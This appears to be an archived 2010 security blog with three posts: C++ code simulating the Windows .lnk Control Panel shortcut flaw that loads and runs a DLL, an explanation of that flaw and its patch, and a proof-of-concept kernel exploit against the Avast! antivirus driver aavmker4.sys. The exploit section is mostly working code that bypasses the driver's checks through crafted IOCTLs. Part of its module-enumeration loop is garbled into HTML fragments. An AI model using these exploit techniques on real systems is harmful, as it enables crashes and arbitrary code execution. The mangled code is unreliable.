Tuesday, August 3, 2010

Details about the Lnk vulnerability and the patch

Simulation
I have written a little code using Windows Shell for simulating the process of lnk file. My code load a crafted control panel shortcut file, then extract the icon location, so, dll is loaded and executed automatically.

HRESULT hRes;

UINT _flag;

int _add;

WCHAR wszTemp[MAX_PATH+1];

IShellLink* psl = NULL;

hRes = CoCreateInstance(     CLSID_ShellLink, NULL,

                CLSCTX_INPROC_SERVER,

IID_IShellLink, reinterpret_cast<void**>(&psl));

CComQIPtr<IPersistFile> ipPersistFile(psl);

CComQIPtr<IExtractIconW> iconex;

MultiByteToWideChar(CP_ACP, 0, "H:\\lnk.txt", -1, wszTemp, MAX_PATH);

hRes = ipPersistFile->Load(wszTemp, STGM_READ);

hRes = ipPersistFile->QueryInterface(IID_IExtractIconW, (void**)&iconex);


hRes = iconex->GetIconLocation(GIL_DEFAULTICON, _path, MAX_PATH, &_add, &_flag);


About the patch

With the normal exploitation cases (Explorer browse lnk files), Windows Shell calls to CExtractIcon:: GetIconLocationW () function, this function doesn't use LoadLibrary().


In the case of softwares using my above code, Windows Shell calls still to error function, CCtrlExtIconBase:: GetIconLocationW (), but MS add more a function, CControlPanelFolder:: _IsRegisteredCPLApplet (), which is responsible for checking the valid
CPL path.


Interesting

Basically, MS has a good patch. However, there is a more exciting: if you click (double) on the crafted shortcut file, dll is loaded and executed. While, if it is a standard shortcut to dll file, this is not possible because dll is not exe.

Thursday, July 22, 2010

Windows .lnk Vulnerability

.lnk file is the format of the Windows’ shortcuts. The vulnerability recently found in this format actually lies in the way Windows processes the Control Panel shortcuts.

Normally, Each Control Panel shortcut is linked to an executable file. For example, shortcut “Automatic Update” is linked to Windows’ update utility. Windows, specifically Windows Shell, will load a PE file with .cpl extension to get icon from its resource to display this shortcut’s icon. In this case, the PE file loaded is “C:\Windows\System32\wuaucpl.cpl”.

Taking advantage of Windows Shell’s loading PE file to display the shortcut’s icon, hacker is able to create a Control Panel shortcut file with a path to a malicious file. When Windows Shell performs the abovementioned steps to display shortcut’s icon, the malicious file will be loaded.

So, to execute an arbitrary malicious file (in this case, it is DLL file), which may be located in a USB drive just like Autorun feature, hacker only needs to create the lnk format with the path in “fake cpl path file” linking to the malicious file.

.lnk Vulnerability Detection Tool here

Wednesday, February 24, 2010

Avast! Antivirus Kernel Vulnerability

On 02/22/2010, a driver vulnerability of Avast!Antivirus has been detected by Tobias Klein. So, I wrote a poc for bypassing some checks, result in BoSD and I tested successfully with Avast!Antivirus 4.8.1335:

HANDLE hFile;
LPVOID hMem, hTemp;
LPVOID _aavmker4_base = NULL;
DWORD dwReturn;
DWORD_PTR _FakeAdd, _dwTmp;
char szTemp[256] = {0};

//------------------------------------------
// Open Device
hFile = CreateFile( TEXT("\\\\.\\AavmKer4"),
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_EXISTING,
0, NULL);
if(hFile){
// [STEP 1] ---------------------------------
// Get VA AmvmKer4.sys
{
PSYSTEM_MODULE_INFORMATION _sysinfo = NULL;
DWORD _nummodules = 0, _imodule=0;
char* _sysbuf = NULL, *_sysfind = NULL;
ULONG _syslen = 0;
NTSTATUS _ret;

_ret = ZwQuerySystemInformation( SystemModuleInformation,
NULL, 0,
&_syslen );
if(_ret == 0xC0000004){
_sysbuf = new char[_syslen];
_ret = ZwQuerySystemInformation( SystemModuleInformation,
_sysbuf,
_syslen,
&_syslen);
}
if(_ret != STATUS_SUCCESS){
printf("Error\n");
return ;
}

memcpy(&_nummodules, _sysbuf, 4);
if(_nummodules<=0) return; _sysfind = _sysbuf+4; for (_imodule=0; _imodule<_nummodules; _sysinfo =" (PSYSTEM_MODULE_INFORMATION)_sysfind;">ImageName,
"\\SystemRoot\\System32\\Drivers\\Aavmker4.SYS")==0)
{
_aavmker4_base = _sysinfo->Base;
printf("aavmker4: 0x%x\n", (DWORD)_aavmker4_base);
break;
}

_sysfind += sizeof(SYSTEM_MODULE_INFORMATION);
}

if(_sysbuf) delete _sysbuf; _sysbuf = NULL;
}

// [STEP 2] ---------------------------------
// Tobias Klein: Use one of the IOCTLs supported by aavmker4.sys to temporarily
// store arbitrary data at a known kernel space address (the IOCTL
// 0xb2d6001c). This data has to start with the two patterns that are
// checked at [12] and [13].

// Store arbitrary data at a known kernel space address (the IOCTL 0xb2d6001c).
hTemp = VirtualAlloc(NULL, 0x418, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// Bypass check
_dwTmp = 0xD0DEAD07;
memcpy((LPVOID)((DWORD_PTR)hTemp), &_dwTmp, 4);
_dwTmp = 0x10BAD0BA;
memcpy((LPVOID)((DWORD_PTR)hTemp+4), &_dwTmp, 4);
_dwTmp = (DWORD_PTR)_aavmker4_base + 0xe69; // BoSD
memcpy((LPVOID)((DWORD_PTR)hTemp+0x18), &_dwTmp, 4);

// IOCLT 0xb2d6001c
DeviceIoControl(hFile, 0xB2D6001C, hTemp, 0x418, hTemp, 0x418, &dwReturn, NULL);

// [STEP 3] ---------------------------------
// Tobias Klein: Send a request to the vulnerable IOCTL. Store a pointer at offset
// 0x870 of the IOCTL data that points to the kernel space address

// Buffer Over and Shellcode
hMem = VirtualAlloc(NULL, 0x878, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// User Defined Kernel Address
_FakeAdd = 0x41424344;
memcpy((LPVOID)((DWORD_PTR)hMem), &_FakeAdd, 4); // ESI Check
_FakeAdd = (DWORD_PTR)_aavmker4_base + 0x2EE0;
memcpy((LPVOID)((DWORD_PTR)hMem+0x870), &_FakeAdd, 4); // ESI Check

// Exploit by IOCTL 0xb2d6001c
DeviceIoControl(hFile, 0xB2D60030, hMem, 0x878, szTemp, sizeof szTemp, &dwReturn, NULL);

CloseHandle(hFile);
}


Reference:
[1] http://trapkit.de/advisories/TKADV2010-003.txt